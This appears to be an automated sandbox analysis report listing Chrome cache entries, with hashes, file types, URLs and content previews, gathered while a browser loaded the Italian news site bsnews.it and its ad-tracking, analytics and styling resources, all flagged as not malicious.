Preview:	.italpress-video-fluid{..position:relative;..float:left;..overflow:hidden;..width:100%;..cursor:pointer;..-webkit-transition:all .6s ease-in-out;..-moz-transition:all .6s ease-in-out;..-o-transition:all .6s ease-in-out;..transition:all .6s ease-in-out;..opacity:1.}..#italpress-video-vrize{..position:fixed;..bottom:20px;..right:20px;..z-index:999999999;..width:260px;..-webkit-transition:all .6s ease-in-out;..-moz-transition:all .6s ease-in-out;..-o-transition:all .6s ease-in-out;..transition:all .6s ease-in-out;..opacity:0;.}...noop{ opacity:1!important; }.#italpress-video-vrize h2{ display:none; }..#italpress-video-vrize .content_video-dimensions{..max-height:145px;..width:260px;.}...italpress-video-fluid h2{..z-index:1;..position:absolute;..top:-100%;..left:0;..right:0;..margin:0;..padding:0px 10px 10px;..color:#ffffff;..background:rgb(0,0,0);..background:-moz-linear-gradient(180deg, rgba(0,0,0,1) 0%, rgba(0,0,0,0.5861695019804797) 50%, rgba(255,255,255,0) 100%);..background:-webkit-l

Chrome Cache Entry: 966

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1125)
Category:	dropped
Size (bytes):	5631
Entropy (8bit):	5.164403788149859
Encrypted:	false
SSDEEP:	96:1j9jwIjYj5jDK/D5DMF+C8WZqXKHvpIkdNBrRi9PaQxJbBHXq0yTMQr+Cw:1j9jhjYj9K/Vo+nXaHvFdNBr49ieJBHp
MD5:	FC12DCB70B3AB8E9BFE4764F7F1C8FC2
SHA1:	840B3A9F47829A4D59050FA98597E7F8BD087B9B
SHA-256:	3EC278DF7DF485D96A5A39595B371B6A0DB07262CCFA4B87A31823488A993495
SHA-512:	1C84A4521EEC698336B716464919AAEF08993BBD1554AEF8A303B295AB963A92E39BE3052F18E0F911ACD0A3561A6D13E7D0763736DCB6298F201414D1DA37DE
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>. [if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->. [if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->. [if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->. [if gt IE 8]> > <html class="no-js" lang="en-US"> <![endif]-->.<head>.<title>Attention Required! \| Cloudflare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" />. [if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]-->.<style>body{margin:0;padding:0}</style>... [if gte IE 10]> >.<script>. if (!navigator.cookieEnabled) {. window.addEventListener('DOMContentLoaded', f

Chrome Cache Entry: 967

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (487)
Category:	downloaded
Size (bytes):	686
Entropy (8bit):	5.30608773430521
Encrypted:	false
SSDEEP:	12:2ebxkC6DVU4dxhwVVI1/MwxByAtxR/MG0Ron10tb5JHlhrwl92O8PX+FqIYYKoQL:2e2C6hHfhiVI1/MSBTtwRMgJHvMl9r8r
MD5:	3BC6106182D401E434D3E48269BD5D59
SHA1:	B9D6325548625C598F5D459AAA322E121F8A2951
SHA-256:	BE691D45D2C02F6AE69C5C39D550673C4E1B2BD024D37D36F5926D4B3619E603
SHA-512:	209AAB07FC1398912300614D02A12CA696AE21D094131FEBD70C12AC4FDED60EECEE2BC9CFF4E85F787B60563A61E8F3F0D0FB7ADA4A39CF8A47015054F05CD5
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/pd?gdpr=0&gdpr_consent=&ph=2d1251ae-7f3a-47cf-bd2a-2f288854a0ba
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://um.simpli.fi/ox_match"><img src="https://i.liadm.com/s/57424?bidder_id=206088&bidder_uuid=2d78618d-7239-08ee-2b21-aa120a8fe708"><img src="https://aa.agkn.com/adscores/g.pixel?sid=9212314908&puid=314c5d77-0a2f-090e-03e5-da9e00dfb4c1"><img src="https://bpi.rtactivate.com/tag/?id=50019&user_id=b3e196f6-9a6b-00e3-0f0c-791d72e14336"><img src="https://stags.bluekai.com/site/37274?limit=1&id=0adae5af-7094-0f1e-1350-c9301b494654"><img src="https://id.rlcdn.com/709996.gif">..</body>.</html>.

Chrome Cache Entry: 968

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	54069
Entropy (8bit):	6.075940343900833
Encrypted:	false
SSDEEP:	768:Ym5QJJS9xX/MkCN72nMexg7fNqFH+s1twkrgpM9B7yFdZjQ4qELKKTZbm2jGyhP5:f0E3TeQQKK+Kw3XY
MD5:	D995A8275E7A2ECAC58F7FFDF21283D0
SHA1:	6ED316842DE246420A7461C0C448D734566A0798
SHA-256:	FBD66FBB731BFB4A447AECF6DD159A7B091FE1BCB2CD55A9A8D0778171462934
SHA-512:	3EEFAB7B5A8B9E5A573395B2FB17223DC535E634F79C75F60AE703B110B42E6FC8DCD033FE4B87452ED9240778D46F8DDD7B88BC78E3415E9F1BB6E2FCE26D49
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=1536995679409651&correlator=3140222702998783&eid=31079957%2C31081973%2C95327887%2C676982961%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews-floorad-desktop&enc_prev_ius=%2F0%2F1&prev_iu_szs=728x90&ifi=3&didk=185291728&sfv=1-0-40&eri=1&sc=1&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&abxe=1&dt=1711615890521&lmt=1711560111&adxs=268&adys=817&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=3&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1263x-1&fws=512&ohw=0&psts=AOrYGskLglVJDo4Ukk29bFmosV1TZI4B1gjDftTBwJFzLoZVG9fVfXuFjY-eh0-FDR-hLaow7OPAuTtafYQUTFA&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzLWZsb29yYWQtZGVza3RvcCIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Doptical%26refreshCount%3D0%26amznbid%3D1%26amznp%3D1&cust_params=consent%3Dyes&adks=3616936076&frm=20&eo_id_str=ID%3Dcc6c7834f606d8cb%3AT%3D1711615883%3ART%3D1711615883%3AS%3DAA-AfjaA5FLn8-B8c9rY-TlRBBKM
Preview:	{"/150134580/bsnews-floorad-desktop":["html",0,null,null,1,90,728,0,1,null,null,1,1,null,[138416132735],[4678049714],[57768020],[2311601171],[257432],null,null,null,null,null,null,1,null,null,null,null,null,null,null,"COne7IvKloUDFWoYigMdpukKLw",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"3",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1,null,null,null,null,[]]}.<!doctype html><html><head><script>var jscVersion = 'r20240326';</script><script>var google_casm=[];</script></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0"><script>window.dicnf = {ebrpfa: true,};</script><script data-jc="40" data-jc-version="r20240326" data-jc-flags="["x%278446'9efotm(&20067;>8&>`dopb/%<1732261!=\|vqc)!7201061?'9efotm(&20723;>:&>`dopb/%<1245;05!=nehu`~"]">(function(){'use strict';/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var q=this\|\|self;funct

Chrome Cache Entry: 970

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 580x143, components 3
Category:	downloaded
Size (bytes):	21791
Entropy (8bit):	7.970721817737829
Encrypted:	false
SSDEEP:	384:w4P6BG3mm+inMmF4K5K8cipyPgbbRRfYq8Fc/2iM7YGw2drB59bkAzGygGCBERFE:wvB5AVFdK81yPyfNwCc7YGw2k1KFFj3w
MD5:	369876D9E79F01F19A08F2DFDE51A120
SHA1:	BDAAB32A1F68BB6D84CBBE2E96EA4FD43263BF56
SHA-256:	A53A2DF5D5A22E71700672486C55131C80D51A23E50E8C0FCE6DF4545FEA1CC4
SHA-512:	6B6C85042FBB71E89218F0038B1B5AFB1EC9CB77632443E570DBB79FE8F0B51D16407B9DB47AF7F51C50C0A458B8228EA76775D13AD1CE6B078CBEEEDEE71C15
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/uploads/2017/03/BSNEWS_orizzontale.jpg
Preview:	......JFIF.............C....................................................................C.........................................................................D..".................................................................................I....'.(.....{.uw...........Z....d].\|.Z.7...o...{_..u.4......4..3..h.......Ij.0.....D.s..@...=.D.$.L~.G~J........`....=Q.-.....%X...........gXA,.9...P.Z........eV...?cP.j3.3i...[......r.%.%...l.T.....:l..w.f}..r9w9../.Z@6e..Y.Z..p..U..za..fY.f..&k...M.....C...../!....<....n...2..j.......]....?]....C.......4T.*@Y...l...$..t.OY.O...UC..s,.$nz.+!B..V.d.KX.....(..y..N....Q...A..L......"o...b..O5.....S.T.G..\|qc.....9G-i..........}..i.P...5.L.....\]..}...B..H..K.. y.\|..~~.=KZ..ob.3m$......7R.A...&....r..?..?Y.;g..-8(.../`...G[Nl............w"...V..3......=.G(z.....^0.e.OK4.>q....o3.u...GS.r.}@.k.H...7..a...../...8.M..fR}.=~..U..Gy7..M=7R46..3eM{.5..q.............8h.....;..\'.......o..~8...3=V.w.h.._k..L

Chrome Cache Entry: 971

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://track.sunmedia.tv/?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=req&pos=0&loop=1&pb=1&rnd=1711615872208
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 972

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 974

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2776), with no line terminators
Category:	downloaded
Size (bytes):	2776
Entropy (8bit):	5.123321516846334
Encrypted:	false
SSDEEP:	48:IzAyUQu3mu3zYIXGb7VEUfUMnjjpeXNaY9sg694xU7zDm7vmpFjd83KvJsSVHrgm:G1ULkEwnjVeXNaY92CU7zK7OpFj63XSj
MD5:	A3A9A9EE8E72DB69D54E805F0586C651
SHA1:	9423B498B1B19136B84D704924324D3A805965AA
SHA-256:	72E960BAA80EC819264A604F2F8A8E5C21F81B785EBC17595211AD170D8B1BDC
SHA-512:	EE97AC661082B66013EDBFF75C1A7AAC9224F696409687A9599968ACCAEA7C88731D84662385B411DA595A0D510F50B40066EB283C9BBC4F1DD6CFE8516267F1
Malicious:	false
Reputation:	low
URL:	https://cdn.prod.uidapi.com/uid2SecureSignal.js
Preview:	(()=>{"use strict";({551:function(i,e){var n=this&&this.__awaiter\|\|function(i,e,n,o){return new(n\|\|(n=Promise))((function(r,t){function d(i){try{c(o.next(i))}catch(i){t(i)}}function g(i){try{c(o.throw(i))}catch(i){t(i)}}function c(i){var e;i.done?r(i.value):(e=i.value,e instanceof n?e:new n((function(i){i(e)}))).then(d,g)}c((o=o.apply(i,e\|\|[])).next())}))};Object.defineProperty(e,"__esModule",{value:!0}),e.getUid2AdvertisingTokenWithRetry=e.__uid2SSProviderScriptLoad=e.Uid2SecureSignalProvider=void 0;class o{constructor(i=!1){this.registerSecureSignalProvider=()=>{const i=this.retrieveAdvertisingTokenHandler();i?(window.googletag=window.googletag\|\|{cmd:[]},window.googletag.secureSignalProviders=window.googletag.secureSignalProviders\|\|[],window.googletag.secureSignalProviders.push({id:"uidapi.com",collectorFunction:()=>n(this,void 0,void 0,(function*(){this.logging("collectorFunction invoked");const e=yield t(i);return this.logging(`collectorFunction pushes: ${e}`),e}))})):console.warn(

Chrome Cache Entry: 975

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	584452
Entropy (8bit):	4.973375944884466
Encrypted:	false
SSDEEP:	12288:Neqwq+T+QEy/DdwjxNYcYQYD8ziqJAD6NSD6NKD6N1whbcjKeDC3RK+KAQhJixob:P
MD5:	3EE4848CDA414108EFBD9ACC86722EC7
SHA1:	634ACDFAA4447E39946D58A744A3EE6E74463F99
SHA-256:	CEB8AE059B8E2D487FAAEBE8D2B68467F9A46173C2628C99FDA39B7333432D27
SHA-512:	32C64C2EF4F0243F8BFC7D98BD906455AC006894AB44E51DE9AF4371E18C44DC2ACAE820276734A00863A59BEBAF36F865D7A914434854512426C81EA32DF498
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-standard-pack/Newspaper/assets/css/td_standard_pack_main.css?ver=4a3a1b49b2d9e88d0d2e7189313f4145
Preview:	.mx_image_background{background-color:#f2f2f2}.td-visibility-hidden{visibility:hidden}.clearfix{zoom:1}.clearfix:before,.clearfix:after{display:table;content:"";line-height:0}.clearfix:after{clear:both}/!normalize.css v3.0.2 \| MIT License \| git.io/normalize*/html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{m

Chrome Cache Entry: 976

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 977

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	647
Entropy (8bit):	5.4200320955566506
Encrypted:	false
SSDEEP:	12:kxPQzmS53VNmiWa+sUZDG3q2TePbFqH7BoU0L6I+/k:kaaktlrznc
MD5:	B5C27A24C7A0FC65FBA3B1F1967CD8B5
SHA1:	48202FADDB88802EA62C76315CF58E15F16BF3A3
SHA-256:	2DC8CD972F59552E7385B9A3D73498E66A232030D35A49CDB1575F976181A629
SHA-512:	7518CD168CE4EAC3E536F57A63D1CAD834BC62DAE8D0CD238B1AB3269D7597ED6A5BA7727484C467E0B21512D1B51DCDC50760DAFAFE3197E77064665E6D84EE
Malicious:	false
Reputation:	low
URL:	https://ssbsync.smartadserver.com/api/sync?callerId=9&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&&redirect=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D317%26uid%3D%24UID
Preview:	<html><head></head><body><img src="//ads.servenobid.com/sync?pid=317&uid=7766515454130361199&gdpr=0&gdpr_consent=" />.<img src="https://cs.admanmedia.com/e09bad714a425a93d6dea503dcf9c528.gif?redir=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D130%26partneruserid%3D%5BUID%5D%26gdpr%3D%5BGDPR%5D%26gdpr_consent%3D%5BGDPR_CONSENT%5D&gdpr=0&gdpr_consent=" />.<img src="https://cms.quantserve.com/pixel/p-EtBqU4Lj3YbAv.gif?idmatch=0&gdpr=0&gdpr_consent=" />.<img src="https://match.prod.bidr.io/cookie-sync/sas?gdpr=0&gdpr_consent=" />.<img src="https://id5-sync.com/i/102/9.gif?gdpr=0&gdpr_consent=" />.</body></html>.

Chrome Cache Entry: 978

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&ttd_puid=40662bab-59e7-453d-8534-da10890213df%2C%2C
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 979

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8874), with no line terminators
Category:	downloaded
Size (bytes):	8874
Entropy (8bit):	5.1905030485328405
Encrypted:	false
SSDEEP:	192:vIlro8WbgoM8Ef1MYMCgWd8WaiA62O6J8WbgoM8E0M2MCgY:Qlro8szM8Ef1MYMC98viA62OK8szM8EY
MD5:	3070945C12DFCB9FC93394139FB7B617
SHA1:	09083B946D612890254DA91268EEAE1C57D1FA88
SHA-256:	2245285A8CCDA188395559D75E32D8450F722C98CF130079EFE9A404A16C7107
SHA-512:	25D5918CA96C638251DAA26CAA9457D8B83031E0A8D74A6B14CF0908C8137C23F087D2C830E4CEEEF8C851C0E3FF75A03513F36BABE29B2B144856D6AF9A6F65
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdModalPostImages.js?ver=12.6.5
Preview:	"use strict";jQuery().ready(function(){tdModalImage()});function tdModalImage(){var e="undefined"!==typeof window.tds_general_modal_image_disable_mob&&""!==window.tds_general_modal_image_disable_mob;jQuery("figure.wp-caption").each(function(){var a=jQuery(this).children("figcaption").html();jQuery(this).children("a").data("caption",a)});jQuery("figure.wp-block-image, .wp-block-image figure").each(function(){var a=jQuery(this),b=a.children("figcaption").html();a=a.attr("class");var c="";-1<a.indexOf("td-caption-align-")&&jQuery(a.split(" ")).each(function(){-1<this.indexOf("td-caption-align-")&&(c=String(this))});jQuery(this).parents("a.td-modal-image").data({caption:b,caption_align:c})});jQuery(".td-modal-image").each(function(){var a=jQuery(this),b=a.parent();a.find(".wp-block-image").length\|\|(b.addClass("td-modal-image"),a.removeClass("td-modal-image"))});jQuery("article").magnificPopup({type:"image",delegate:".td-modal-image",gallery:{enabled:!0,tPrev:tdUtil.getBackendVar("td_magnif

Chrome Cache Entry: 980

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 981

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 982

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3282
Entropy (8bit):	4.672911927130422
Encrypted:	false
SSDEEP:	48:3d6DNA48JP0M9vUXy6XgNI/6MBQMeGuNwJ2DWir80HyC8gpAK:3fLKjY+60eGuNwJWHDn7
MD5:	89F21D5EEC7BE327FAEF10FA0201AD82
SHA1:	A8602E1973059D398B10D726C56EBD04BE9A81DF
SHA-256:	E2BEA61928ADF88810A6233830BEAD5EA9B07CF3E9F72E21BF8E64A84C6B1F46
SHA-512:	C72DB8594578E13573078D524778749F9CC53C38B090BBF1F43C7090B56945AB7FD7900E3BB6C504514C2A9E9C137B07156E5B14DD0887173F1DEC88E92C03C7
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/route.js
Preview:	/*.. Route v1.0.1.. * Added isObject and mergeDeep in order to implement custom options from parameters.. */....(function (w, d, test) {.. var cs = d.currentScript.. , defer = cs.hasAttribute('defer') ? true : false.. , isObject = function(item){.. return (item && typeof item === 'object' && item.constructor && item.constructor.name==='Object' && !Array.isArray(item));.. }.. , mergeDeep = function(){.. let args = Array.from(arguments);.. let target = args.shift();.. if (!args.length) return target;.. const source = args.shift();.. if (isObject(target) && isObject(source)) {.. for (const key in source) {.. if (isObject(source[key])) {.. if (!target[key]) Object.assign(target, {.. [key]: {}.. });.. mergeDeep(target[key], source[key]);.. } else

Chrome Cache Entry: 983

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	9660
Entropy (8bit):	7.9811942523228145
Encrypted:	false
SSDEEP:	192:VUmkpmL3L6xuDlE5EuiXa3NzDyR5xx2DaxJTycho6OxJ0KcOELPCOeBj:VwpqBDMimzDKLxjFymavcOGC5Bj
MD5:	6B5E5496E265A0F6F1A87B643795560C
SHA1:	20E26C1BCE1171794BDA23BBD5A2BB0E6E740FA8
SHA-256:	0DF1D5C8DA18C70C08A137581044C24AD9EE980EB13DC084B5D1C39415AE9C15
SHA-512:	63C890000E0E5443F432C1D229734412DAD3CB4D99314F87F9D053FF68BFBA045B5635BC7DB11C57817BD9F1C07937F2A1A225F5420318B7000B6675393FC113
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg?resize=324%2C160&ssl=1
Preview:	RIFF.%..WEBPVP8 .%.......D...>m..E."...x@...........~..R{..6{..J.Y...g...7.W.O.o...]s..=2......s.1..?.}....v....^.~\j..]...~........t..U......Q^.-p.-r.M..B....,.w.^...$.06PUE...y.{J.....:..o5.{;].Ik.g}k..I[.j..........}....'..V..._l......r..H......+..d0.<........!`....Y^;..T..v.c.b.H-....q....d.bO...+....2..D...}..q.>FW../.l.....x .3....."vH>n8..S.I.v..0.+.\..3.....VC.:..?.7.2Jy.3$.W.<.....z.E..7..d..GF..........$..Y....Xy7..ws.F>8.....b.....QJAf:.....`.dk.O......m....7.C.&..q.V1Z'.R+f...!...RA..b...#..4.q..?.....C.Q..O.jOX..Gj....`....N.....[.(!.R0..kT6.7,.xV...Y&.`.ni"D.o....gsl<.jpe...W.iiO...dy'E..s....!...........-S.z.2[.9F$....g...)Ek....sn..W+}..qZD.Py.3...j....AM..j...c..-T?.g.y..............v..v.......$F.+......\..f...c....L.w.a....2..vskH>..M......f....T@......L..?ap3.zca.Y&. .:.!z@..!.I.M...:$.X...:_.y...i....*o.Oj.........:m....85}...-r..Ea.\|..h.?..R..)...`..O....RO~.b......`^I>........W.j.M.!.\%..?..]t..3s.u..=.r./.

Chrome Cache Entry: 984

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
